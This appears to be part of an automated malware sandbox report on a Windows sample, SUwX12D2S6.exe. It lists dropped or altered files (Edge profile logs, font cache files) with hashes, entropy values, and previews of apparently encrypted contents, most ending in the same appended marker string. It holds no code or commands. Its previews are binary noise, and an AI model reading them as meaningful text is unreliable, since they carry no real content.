Preview:	SQLit..`..v.`..C....%-ip.....^.<.&...;..hi.^.....H.0-.A..< s..K.i.N.rnFl.DML..Wq..C.^@.%....n...m.+w5L..y....Z...o/..`.r..<d.S`Y.1......1.a....$..y,.f..wJ..I}\|.L.yve.uV...sN.>.>.I.0.J..)(u....@.j..E.'...O..-t%r.b..9..Y..M.....\|.....j....R...."..n...w....Y=.?.uK.u(............{)s4..l..;B.-....8..~.........b.........J...].pV..3HY..Q{..7.....pp.D...`....H..3.,....h.we$.B.4.y4..........@..3P.LFk(+.a.g.N;..#.@. Y2.6....A.h.....?..b.M..].{.JXK/q..V._/.7..kx...W,S..c...oF..:.P.\|Z..Z.\|...!.WV&.z.=..ew....:.}.1..{...t...x(...@.KqM..O.E.6.."B......'..:.4........<\|z.K..hs.....d..1G.....V.U..n.....R...oV..!.a....J.......Q=..L....v....w....i0...c.\_...C..."....3..n.....c..,-'.)A.JT..Ta)..-.7..K......R8[..,t.E.-..UVw.j..SC...:.VG.,.*.'.$$...9a...!.h..v...p.P...p..Z.c]M<+.....U..)...[^..I......+Kk..p...Q.U..w$.?\.L5.....A....Z.I.<T.<uy.i....l.v.g!.8...l..yF....".j.Y.j.`.M..:+.......7.g.c.$.\.m......q.Q.l...dSIY#.Y..Da.,t`....p..h.$.....6..#.9k

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.274536872423409
Encrypted:	false
SSDEEP:	6:QDOeICBBXQ5oTrMb92wSNXCfhP/W3Mi231q8cEc8/bIZzblDsFmtzjhPcii96Z:Q5BXQ2n+9XSBW/W8RlLfIdbh2wjVciik
MD5:	8AE754FA15BF83FDE600C560FA087ADE
SHA1:	077F4D2A40CE061847A297705BBC5744418A782C
SHA-256:	D7C42C897EC747623F9E4AEA5280D033E5AFD9F4104D3ADBE2C74920A015F72C
SHA-512:	F4CC6847DCC8140E4D8F67A93591D1DA706FF33799A30BF4AEEF145BB4A20B12FD245FB203E5E521C8D1B6C16F25A66531F28D77122F28A55C63D5EEAC971868
Malicious:	false
Preview:	1,"fu:..`.h3......;..i...d....8.R& ..r....E.........M......-..3~R.$.GZC..>..Z.d.V..#.....1...m.&)..]<..}.x.H\.Q.v....../#v.:..B..h..k.k&.H.._3B:.!. ..[.L.........K.V..v.7..U"..AY.G..;.D.9.q.+._:[zm..}...*.........,.tS......{..S....\|..Z..Je.....$b;.#7C.o....<}..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.832046963259286
Encrypted:	false
SSDEEP:	24:0uPEogOFOEAQtO9cAWbB6Olr3ZSQesmFLio1/EbPLGiGLI+Jwq636FUt2A0RzC19:0uPXpFO/QEcL7pJDesmFBWbBGLNwyA0m
MD5:	F270DF1A3B3C37F9276BEF86C6CF0E49
SHA1:	744329CD4B8922908B435C2CDD1B610A890B5226
SHA-256:	91814222E7A5FCBA6B3FD9DF05126E02F30DF63E1F118D8FCD49FAF57DE2348A
SHA-512:	77B2C35DA6CB19E9104B2B2F4FA88CFB404621684676587306712A8095AD2875D2B06F729A36539852D96B20FCE343C7CAB08B3F6DB41EC78996427C9C95F2DA
Malicious:	false
Preview:	1,"fu.V.&/].?g.\|.6..V..Kcj...<A....o.m.(4.C...%.Ns.[&...........-..Sjt4..;...Z.......d.?k1BG.+W. ..I..@a...0..........l...-o...%......p.].#.yj.R0I..@<`H.....ula...8#Z.C....K...v%z+7../..\...X%T.O.zt.:.9;.'T...v.e..d[.3yL...!..l.....F..V..?...dnH...gX...m.g9.G..`f^.5.......A.X.........-.....w....J..)..dR..tk^.'....PnO.}....N.=.'...L...5.T.......[.F..4N.l....j.2a..A.W.a:5....'x..f}.....Uf.}6<N..vs.. ...{.......t....I..!....h-M.Y.v~..i.....D...>..)...'?.o.W?.J...... _2.V...........Rq....v..."....+...)..-.]v.?...-.3.h.."9..g...A..u...O.= .s.Xf.....h.O..&.....#........+.?.....).c......S..E.}5u.9..C.}..z[Sh.V.v4.LI.-.../.Q...&.R...[..$5.G.....a..;.78..6....-.0....Y .._..5.Q.R..H...J.}..v7.O......3..v8 ...H..........q_.;..Mt........,.[O.s.$"...s..ie....YO.r.e..9.{.(.E...$u...?6...".;.....X...x.(!a...q.dl.'=.=E..?X...rK................A...H.jp...j.....{"~...f.{..6.At.jp~*{......l..6.5...aOd.....9.....yw...\. k.....'}.. ...O..C.?.....d($:

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989722604370633
Encrypted:	false
SSDEEP:	384:KYPun4Ouz17j2XyGFUDxwLUpQJ3cBKa48HOmV3afjWp4kMhdTQv+GIXrl:KYPuUBjayYUDxwIpk3BjxmVKk4ki7l
MD5:	10CC4A62451178C5876228B0605CEABC
SHA1:	13639E00D274C7840FCDEFC3ED8F3B9FEA582649
SHA-256:	56F9A01BCEF357780D282011DEEF31C803353C8D8966E2792E9078CB88C2571B
SHA-512:	DFFEEC72395E2941FBD40FE622B2F7C1FEF7CFD463AEEE191BA71D9A4DB3BAF37C564254BF13641B1A757DFCA6410ECAE36488111532F72C92F3369A07C6AEAF
Malicious:	false
Preview:	...@.g.....}.d.O..n........6.<%hL..s,...r\..]ic2........'k}t..DW.8Z.".(&L....OL.V__......van.....`...........5x.%....x.d$.?.-.M.V.. .8..&.J...t:.IS.i=...>EN.5...!..>........./..D.(.R....2Y.}..=......(.tb..m..Q.c\|..2.3"..@B3}.....a.'.p.).{...[..iT..y8..%:..8....?.+.2v.....m...5,.:>...9 0.%.69.c...... e...D....a.ji.l..K.pz>.Fw....U.........M....@...-..Y.4.....4j9...,j...d.+...X;.j...~....>M...o........D.#..Jr.YW.t....'... .p4+Mm.........D.6..yv^0(...#..s..:.;WNi.]...s!5W....u.BD..iI3.U......v..xn. ..._..P...3..)2x..(o.0.....kRt_.....J...kV.w...}d.....Y.&}.m..:....x=.;.7......].z....X.\$.SXA..N?3.k..;..........E...-2}.D( ...Tb_v+..c!6W.....o.=...Pl.;..s.Z....H.../_.IX....~.{\|I+..3..`s. t...f.[.(#J,.!...H..].z...H/..r&.pd....5.....{.g.7.L....Q......R.jb4...z2..w.<.#......^%f]...j"T[...0U>.?.R...%..xL...w.,[..Y..x....6^...".....t..\..G.0...LE...`'1{..eE...=)5.*.x.-..h..Q...ul....U.cZ...........D(..\'.3..v}J...+.}\......b.....2.X

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	904
Entropy (8bit):	7.789660485925142
Encrypted:	false
SSDEEP:	24:rh1KZBcVHFUt9ceIj05s5NCzTUGBTdVbD:rDPVO/yeAQvUGBTdFD
MD5:	C8E96CFB3EB2CAC55744094FEBF57276
SHA1:	A1AD684FA19D22EB1807B5C282C603D603643FC1
SHA-256:	BFA711BCAC3B5A967C9EF67BEBB166416DE74340039601147704B9667399D521
SHA-512:	3156AD55E463B21362C4FF31C27A98E44E961F868A21CB2A112B083DD83969818F0566941E8F8F289ABDD12889BC4155597BD8556FFC7A43E3D514DC17691B02
Malicious:	false
Preview:	.f.5.H...aR..Sc..4.......-F.T.g4Sr..[~r. <6..._0&<..X)l>Q..V...nD.......}D..T...,..)...`..+.V..$..... .gx.....ti..wQ...G.".Z....2P...oDG.]4..]..[...m..q..ZkD_q>.......C.....].391..u..a&.h?3R..!..._...U..A....`.....;.q38k>..vy.qC.........p.....%.c.....Nk..(.U...Z.SW,.~:WB.K.XV..D...Pa.....!3y.]......dX......(@x.:q.7%...=b...6.i@'._...p.,J".J1.j......Z...J.!U.......h.d'K)#..p.MrOa.$6..`..W..;..P............U9.y._>,"h..&..8.1.9p..jt.dg.\.=.YU#g...e_a#.i.E..../......`..(.^']...~...g.....L...df....\|.tW[ .....B........&.w.t..}JNz<.T...u..eE.4............>"/._a..i&....n(n6.!..9.x.3....v.?J..\|...']TP..,.r.uo...G...;...!<P....<....8. #.5.g.}'....'.{....D...^...k..a.-.^.r.u,d...-.xEp5.cXp.N.......[..t.9[...ei.`..&.2.........@.....-$....Y.%.......w..?8"..%.....k..7.eDtr.i..+M..V.5..dN.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	490
Entropy (8bit):	7.47482366188201
Encrypted:	false
SSDEEP:	12:S5jKeez/+uqenxQ/UgrkxK0LL9r8cEAmctiMFJjVcii9a:npTLG8JNLJr8nlAiMFxVbD
MD5:	FA9FD77BCACF239411F9DA8AC61BD697
SHA1:	2DD519ADA3B02716150257E6B93B30C8FB64E4BA
SHA-256:	238879C8C6E8B596B06EA975C39B2F644C67C885201E3498200139653B918F2F
SHA-512:	A3DB4A8D1DA654814B58EB049B20C920FB443480F548D7B83DCDE8FDE3BB418144F07AD4A0298AFC31DBE1032586A3B7FE4370801AF4E62DEB391CF769E3AD35
Malicious:	false
Preview:	...#/%v....\..Y...{....c...T.9..0.3........+y4U.+.n..."[...\|.....'/"K..5y.e%...1.Dr..:'sd[.B....-..x..J..;.....~.5&.K.B..b'.kX...z......g.j-m... t.]..s5.HW....p....Sui.B.$..[f\|P....}....t;.d.<.....[..].b....x@.g.n..02.R."...^....d.6.V.'].....f...x....`.../...C..Ru.4.g4...[..]PzhF.V "G.r."Zp..1.n..x2...\.k....#.o..../c.)......W.p.m....F^[?GS.].......p.=.U..FgC..`...1..Xt:...3.<..{.~n..&-.c#.%..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.302066671544398
Encrypted:	false
SSDEEP:	6:PHnfj5kRA5ydD7m7zB6BoFHSlDLzpQIdqrkPhhVwBWAC4g5oI11JQfH/oXrBzjh/:PuA5QD7m3BmSStp7aEAS5oIzJ0AXVjVX
MD5:	B1288A78DA7FDE0016E14E464C01E3E5
SHA1:	115C27EEAB15213D06394E18155AF5F9A07187C7
SHA-256:	62481207C54A5597BD0D301E6967B055827FFA92E35A8C21A13D10FEF55EC9E2
SHA-512:	BE4891DE23C3EB709FB23A1AA273C618D00D92B02015FB5710A815440A3D3DF6AB87E00E1336CCC0CAF34A7E45A0907A779C2911ED20DB67E79B7A5CAE0877E5
Malicious:	false
Preview:	.On.!.7......>i6..8...4.....?)...!{C.A..6.].2U...f........2.J=....Q...z..........\|4......k.#P..f.~.J....<...fL>.e%..eC=...........B..../..u..8...g..]Z#....)....{..Qk.&]'....M.{7Z..........W.h.B.%^Iu....<~....j.H...4.S.........4.V.....3m..5.._q.D.`V{D.a....{.$...h......\|fR..s.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.666213219073766
Encrypted:	false
SSDEEP:	12:kauFZLJao86E/kyPlbZS3tvxuCitP8KxZ+0eANX58cThbcjVcii9a:DuFhrTWkIWdvfit0KxI0pbhbGVbD
MD5:	E8EE17AA36096F95ED5E62153F2729A1
SHA1:	A6D05CFA83F7391CF0338A5E13B333B7E52A46A1
SHA-256:	444D0751A747B5C4589D7812A0512C5BD93DFD59A4115C639B9435099A61395A
SHA-512:	3E3ACC81C97D36213737B536A5CDE2503564A984BAFFC317AE458178BF451575CDAED2F779C33376A6E9B847F88F4B70CCC364A993ADAB8DF808F03FC423B9A0
Malicious:	false
Preview:	2023/...mN.].....z....s...a..$6..5..7.z..Z,*..>....%.c.USk...N.._{..w..$.j,D..O...............y.NfQ........q...<<l-.[nSd.LNen..KB].6.w..{6.Z.......Z.3.)....!r.#._.....<ST>..`q..{^..Q..B.5..F..a..;.G[U."...E...G.......okZ.P...5`.v..[U[l..e.).;I.I.#.Iu!N.U.......3=...x./_......\j.ge.R=[...!-.......`....)..j.}.y!;O.....`...j..G..k...M.'F.....BKZ.;.f...T.aZ...."o.'.w{.%..].hz....lL..d....Ns...x~K.7...'...f....:.b.._.....Q..%.......sh.l..8[.S.....I.t..w..^...s#,Dv..a`kK..e..d.......1....2%.P.%......7j.c_3/..)i..FNu..Z..j.R...r..p.b+`.kw.J..L.!,.....=[..).[..T..a.\..>....&....bitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	380
Entropy (8bit):	7.402008100502873
Encrypted:	false
SSDEEP:	6:qHsTnkoNBpRONSqwsOS7dHg38fEXQAtTl2oNJwohuuEgFpPbzjhPcii96Z:HF5qwVf3aEl5AiwowijVcii9a
MD5:	6D0BF4E2BFE24010BFE430B03D2D46AC
SHA1:	09E48B67FD3CB0E5DCC972A1CB1A6F0BDB8FACA3
SHA-256:	B4B9CB05CB7E638C012B51F37199DD3504B9D7AA91F7F425572CFBE1187E9B80
SHA-512:	7CD30A333EC8508F6D2C30548BD437822AF3CBDA9DFDC22803AF01932E390D5B05E546B0505B0213FE7667F2D8A5D4CB0511A1665ECE608967EBE9A9E17089E2
Malicious:	false
Preview:	...n'.....h.8.X...<.....'.&.C?2.....I......^.d..'...SH.D..:....m.jt.B..oD+..s.:\|.;<\|......O;.....`T.v..b.U.B.w.D.F.....c>............\|......%.{.f.G.)U..i......n...J...\|.o.L_.:-.ts..id.<&N4.....oQ..2c.t.)T(.00..(........G\.~.Y..[.(......\...6#.....[.....'......R....d.N..._Eb.]..-A..G.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	660
Entropy (8bit):	7.672360010498572
Encrypted:	false
SSDEEP:	12:kWKfNOn3RK8cVJkyIt7bTTVOfYd7ejVcii9a:GkBK80+ZcVbD
MD5:	3AF2957203897FF65A15B92ADF0DB5FE
SHA1:	1F21E340ACFBC7C8178DF23473AC89125EEB5003
SHA-256:	DF1887E2FEE427F88501C4008E7F282B49E3991E287D153B3667AAF305BA2928
SHA-512:	13804D8024DE5039AB32D886F4B1103194235FB9098D11DB7221EA7CE28D42EC8082848930EAF39729D23960E47AB3E476631707C3CF330F0BC8E51067FFBE21
Malicious:	false
Preview:	2023/.....U....}..J.Po%u.....{.......Tr./..^..DfLo.lHHF0...._t..F..%.w.gg...K...%..S.?..."R..D.....`h..DzD.`.......y.Vx.._a.........h.f..P.\.Hh!.?...........j7;.._pYL..f.}Lj...~.....e.V.4E.0.N.............r....8Uy..'[...."...p....B.KT..#.....C.J0....a..Y..P......"-...8.N.W..?..K..1...}..L..U....8..x/..V...8...=I...X..QH..........R.M.YE'{....^....eT.zF..[....yZ#...i.t..t.`.n...Cq.c<.F..-..x...b.o"$..oh.r.+....M-b...:.h...P..#.Q\..0./+..r..m....r.;....T:.".....Au.@..X...H.P..>..p...h.%.t.....<'P2..n.xZe...Q.!....l>....$.. v+.6PbH'+G_$[...Hxo.f.F..l...'..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	129419
Entropy (8bit):	7.998689577582873
Encrypted:	true
SSDEEP:	3072:vcH0Oal732jjg5qGhnacpvzeV01NL9NN+:vcUOXM5RrjbLng
MD5:	48DC1A406CDF435B64A82502D1FA7EA4
SHA1:	D16971FB704CB06CE41329C1C1392455D7D3B2EE
SHA-256:	8F05394767F3FF5A1D87F6D2C563D3ED006F61397B9F45BA6BF2E9550CBE4D2C
SHA-512:	B252CF3F6FCE201BAC06BE34236DDFDCB3B6253395D1B20BAD85E63DC10A4138CBA4DE9625A8FE2A98D6DB7F063C7CC7E250FB53D29D271CD13DE1973335899F
Malicious:	true
Preview:	{.. 6.]..':..MC...1....Cl...w...FF.x..I.../5...c....j2...UH.....AQw...[.h.j....S.Ib...y.I+.X.[....."vZ{...\|..q.H...8Q.{...%:.g..c[.9D......+.Q.....BZ...L.i..T.,......Z...4.)....-..uf........-.LO..t...n...[.....2Mg0...7...............\..J/1?....C.D....8..2Z.l5...N....0SQ.:...wc.d'V!...."d...b\|h\|.........U..0......t...H.0....:.!.-.-..Hu/.~[,..v.....s.,.X.;qC.A\|..\.._...x.wN.....-..b.......{.Pb....& .iCn.M.:W}..v....S,...KMkTl...BK.Y....yY.....6...h.1..eU..~"..?....q.....(...!....u..}..UB#...\|..12...z...G...`....-!q..9.k.x..RC]?C.p..B..OUf,<..\|..H."O>.\|.Y.@5...!s._#~l.X.W+...6..,.E.....g5..1..E....]..w...Y..e5.#....<4.Y....6+."...2....FK. .......=.......!Ta.Yu...s.D,h_....l...=.....9...w........\Y.;...r>H8.-q.ZP5.$.Z.0.(a`^.2.$-&...".......R.u&.e....C......u.s9........x>Q.C./\|..Z.b.1..R...+U...[..z.Y]t3\|0....+T....~".5..DB.a.K..:l:....P"..)W......$.Y.%O..X...a...q....nC.p..A...X#^.....a.u.~\|E.........%.83.4.,W........-.D..=.z..

C:\Users\user\AppData\Local\Microsoft\FontCache\3\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.9792723987637455
Encrypted:	false
SSDEEP:	3072:AM5mtQZnMhc3K1fChT+0m6t4Q261JN2XOw5DcU6Kowk5G:nXU1ahC0mA436FdwVR6Kbk4
MD5:	B961F27FD2749DE6883191F53817337C
SHA1:	5596631191A6E5887B902B32245FDF9DCFEDCAF4
SHA-256:	94A48B7BC836622F13B581A820659BC893A6B59FED1F0CAC55F6C4C5C2083576
SHA-512:	1C9AEC6254A2084F6D374CDC4858EE52722E46061E75C447234BB1715F329C3CE01F752054B7ECEACDB6A06CD858A71500CD9894D08B666DC57E8929544E28FA
Malicious:	false
Preview:	{"Maj.!...3WqI Q.}.eP.%..v8d.oE.X.....m..2.L?...h.gN..\.K<;.$...i...<,\S...`.&.f.i......c.<r..>T\|.,F.P.......X(.)..G...}..>....0T...i..Zam...wS...4/.Q..dGp`.^.e,Jc.]\|...7.?4.....R...{Z.....]....kv...I8..9+.........\.e..y..Zf..,../.X5.&. .Pf.-....I......9.'~...FlX.Z./).\|..L+..eG.)....I...=s.Q.....6.P...B.V...K.ST..Q3{.c.ND.t...".t.3c.3-..m......a..{.[...~...Yq.c_5..e..2..z.......K.t.,....C......P..Sf...a....8^.:'..&J6....w...,A....}.6..9.n.y.{4..\rb`m.$Z.]w..r...7....m..O....i.$g.Gvh.bh.]1.JC.L.,hRD.........T..`....8......X......=...9.[......:...b........T....x...o..e....V..P.+.@.M...\|..y...h!.e.bDT..V..f...{.3.b1Y.,...?.}H...t.{.....Q)#.....$..XE.2.(..K..,W...3.J%.?......g...5ME\|..S_5..I.lG...qex.....M..RS.s......\|..H..].....B....{..`..RV9.S..4...U..+>.C..q.#..}Cdu.U.......NNH`]Lv..0n.p.h.ss.3."..........G.C#*....wu..a"..........Y...$..+.t`.]."B......Q6..Gz...mH..U.uB.-..L....^...M..Wk....T.3J...cP.t>...eexA2.....#i..e.........s....3..r.?J.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.92124580701495
Encrypted:	false
SSDEEP:	48:3k1T1LDkgt5sOPJRq/b/ycIGLQ3dL+6pIlj5rAy16swFD:MxkgtDUb/FLQtL+d5rD1rw9
MD5:	046BD18F4DBF915D4DAB6ACCE2855929
SHA1:	DCFEF819DC85CB6D215D06CFBC24310093D48812
SHA-256:	83A1EAA0E14C73672C774B5680C61E288675072F651117362ABD984D7909AE22
SHA-512:	582900938142E81513D5F40B91C78063D1B6A71E236BE1C02EC3121BC2CFA1559FA1C616DDB7CF2969F5D72BB1478F694795E7CAC74DB3ED193ED0F002D6BEA7
Malicious:	false
Preview:	<?xml..r..0.Xe....),}.).....Z..).N....E........n.e.-.....I.;.)E..y...D.....K.\|^..0pF..Q.<..O.....A..............2...TD%..k...b.. (c...]X..T......K..:>M...n.1-+ ..Ff.Ryz.E..j.ZK.....].B..q^..-b..o.X..T...,)"%..(.._... .f,..].k$...d..3........B...D%O...5ejr..!P.........R..f.#gY.]............T..Gw...a........aL..JA,...$....0............Z....#.....z.W....i ...)....3..C..q.#....R......!......A....F.........%w.....V....D=...uC:....z.i...5q..b>....N`.7N5p....c..g...{=bt...^.......,xB.E3t...SLl.g..S7X..V4Q..%...0..7P...q..7...../..2J.7..$?0h....8....w...W.a.qj..u~..^w:....c.W.....F...y1..&...S!.Y...q..[W...7...F.......r.. ..m....!7]..8O........$...}..`o3..=]v&..S.b....Bt..4........}..~.....S...O....[...,.D..m.l.........I...hXA..$t...-.k/.......U.[..}....[..)..V..I..T....75bPr..c.$}..&..._..z..}Qp.............i<....FR@.e.v{...G!.Ms..S....Ju~..X.j.4...v,....j3...h.U.y...1..9:_..):.o8..t3..`..{.NtI....M,......._..k..m....,...;xr..c...me

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	238254
Entropy (8bit):	7.233934744078856
Encrypted:	false
SSDEEP:	6144:G+5P7NYZPT8d6xKHGJriwdKjTYG/9Aaa/dIDiAv:1NYZb8AxeO7dmYjIDLv
MD5:	D9564FF2C0B530A0165F1DCE73BE3C35
SHA1:	C9E92951329EA290BBE051186A1C9053B0C7902A
SHA-256:	4F2E9AC0563382D6775DC84F932CD8957C74AF173D92828484B76D0A3CA55802
SHA-512:	7B75B42D8FDF5285DF5E5A6C276FDF4A19E431C5BC30AF82C04D6F6E96C66D5F6E3EBFFE160853C02DCA646BA9C748A6C82619C3D31E047B9F939FD054E4BF3E
Malicious:	false
Preview:	.........O....!y..Rt.....B..b.7-7!L1.R.mX..f...2E.s....z..].....n...}.........0.R.<.@.a.?....J...8..]X...F.GnB..,j.n.+....t.^..b..w;m.Vy;.....8...Fm.t.8t..P...X...++..E.RQ.0x:.f..61......F......L.....%...v.!.H...H(..[h0d....!.....p ]..9.....mJ.uD,.".m..<..W.S.?J?4Np#....3.g.....=...f....]..%..C..a'..j..S...RO........)b....$Q.......OB_.A.p.............T>8H..t4..LAo.%.w.....xD.........5....m.9N......1.khsg1..e.Cv.Z......w.1.D...z#k...y~.2.[..J..R........,+A.2....q..4.........6._.F......v.4V3:.\N..j.....!).TW..X...9..T..^M.3/3.=........t.....r......vA.j^+x..w>.Vo...a.N.'k.OT6T...._.q......r....vN.@.>.nD.D...D..1,...E.Kd.!....L..6?...............v.kb...I..n..k.8*..q.(/....l...RW.i_....E.[..f.-...L..u...)l.2.ev....^...o.i1-..v..<.....6.r.W.v.e.\`..@.e.x..#....$...$...G....lh..c.@,.SS....e.%.9BN...K..Q...>.n......._....bw......W[%........{.+r:.../~....s.....U;..4....P....k.C..=.\|.i<:.......N.5..]...r/;...P.e.3^>..jl...tQ..G`_-:y...6.1(.....p...7

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	240882
Entropy (8bit):	7.26203088665558
Encrypted:	false
SSDEEP:	6144:yV6AoulxRxZGbABChtPgRuhnAR24YusEpm:a6AowxmABsgRuSR28U
MD5:	9A9BFDF9613F43F4DE1BDE2A36FA4942
SHA1:	63997F055E75AF2A3EF4ABF12AD5F5E5719B5752
SHA-256:	9611757E6AC7D02872095AA03214659A0237AA121989F0349494FE03806B699F
SHA-512:	611D989582354063E523D37647EF9CE9D8DE0BC2FE5F2EA205754AED0FB5156E47FC5C1F6309669C7A9A8B6E70949188ED58A4FE27A551B6148E8A9C104C4972
Malicious:	false
Preview:	............[S...N:.5C9-qJc..2..@........n..Rr\X.P...]}...2...=.......".?.N...3.[.%W..1.]L..1.I.v.).R@v_..L_.3H.)\|.......[m]..a..._.3.[.vJ.f..........a..M...>....E.c.&...i.V...wsK.\|@.bn...H.......(\.U+{h......E.x.m..j.._.9..1....e.Z..G...6.W.....Bg..M+.D.4....!`.)&..^).......N.X.....5.!.)<...QO.U.{.J...,.Q...../..+...m.n......... ..\.g2...Ks.DG.{.Ui..q...k..#.zw...O...........7M..%.......aC.z....h...`....FA.......u..A3#0!ds.....=....x.p..L.od....A.....M...~[.e?.~P.fIu.\..n.4..W..C'o..Q..H.>.=.2j...N_p......o@........TV.}.y..9...Z._...fj....:.M.kM..n.S.+.K.5.J.:4.]...-.f...dE7p&...y..........U....\......cm\|.I\|Kq.n'....o..'.tyK~..R..y..}..0..,.v......_.!.S.v..]p....w.f..T..Q>.$l.3$...c.f.&.{_.._.0.......c.B.{.......<...._....lo.i.R$.....DW.6..).o8}....'..'27^[7,..5...m.P,...S_e..j......E..L.J .i>.5....K..Z.c....0..i52 4...SY...6.......Ed...}j.Sh.......F.HW..CC....p~..!T=.>..H...~$[.Sq..x,..cM#aq......A<>..1T=.o.q.y....7...S.e..J.../.oR

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	241750
Entropy (8bit):	7.260474136408234
Encrypted:	false
SSDEEP:	6144:cOiNPYZI5e8H/V1D+9Clq9hNeMsWSvq2O:AEafXDCCRs
MD5:	D7D74E586B735BB0FF6CCC653D18BAAC
SHA1:	02E53C9C5F8D6AF2B57FDD1325C3EC25B9B6CCBC
SHA-256:	8A451E84AB05D98D293AF2C777BACCE56C4FB643A9A60A1DD5DD8205BE69BBB7
SHA-512:	63DDAFF2D656C6373ACC1C41771E87387848492F5CA27DB339CE8329C5C49328A592CE0FB62998CCA5EA5E65D96736578844CAB7FBB915BF71F9E7B5C6FFDB32
Malicious:	false
Preview:	......M[.FP......]-.3.O\..,.>.R.2.$...0LI.....Hn....)k.sk{.'..YD....r........H.vT....:.\|.q3.....q..X....y.Z...........&.S....o...a...(.I......@..Z....o6.86.....U..f.v.e.m.........49...~.:...p.5(....j..\|F.^.3J.I.O}9,X.q...I......r...94;..wr...R!3$i..$.U......<../.f..8[..M0.=....i^.....c.c..'^q...&.....T.~../..S?.)..'.<.9.W\|T.....j.bP&\|..3].....&.d..:..\|....Y..J...,.W#..uv%.n..7...3.4...\|..M..>.r..\|..3S.7..$=.J...'Ib.@j...).....CD~[=`......r.;.@p......B-....E.X.....}...=...K\...V6..O....=....B..t.....7...v.../.@...VQ...P..\.?..=.......8.>$.t.............n.\.C1[E.`.i..qj.9....vrO./7}...X.....R....=...a.0...../K..Q =...O.i .?.8..O#n.YK..w.L!.......c.x".M....~&..S5...w0(...%.[....r.....2$.h.{..R..q.K..u5.A(...ih.!Ya....k...r.._.....j.....wHyZ..!8....J.U.5.....{.....J...7..ok...qN~..A(V.<.DROm...@.8.0..I*6.1..1&..S4..s..;`....B...R....6h..d.-n.X..[n9kLI.XC/(..^0z.p:.#...~.N.m.~..O.a..N.1....H_...S.....,$u>..#..o.G..X......^.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	238962
Entropy (8bit):	7.234450518038452
Encrypted:	false
SSDEEP:	6144:WdAIVCF5HrjsraEND4wnLM2W5DzPxBvdb/tDpAC:kMHrjlEND4wnLMFrdpqC
MD5:	05C69DF8C4E6371B4B35150DBA14F42C
SHA1:	74ECA4A62C718CADF36BA14A94DBA1A2C00A3BF4
SHA-256:	B323744991DBF08FD03C74D321F62A78C86D275E570150345D21760E35F43205
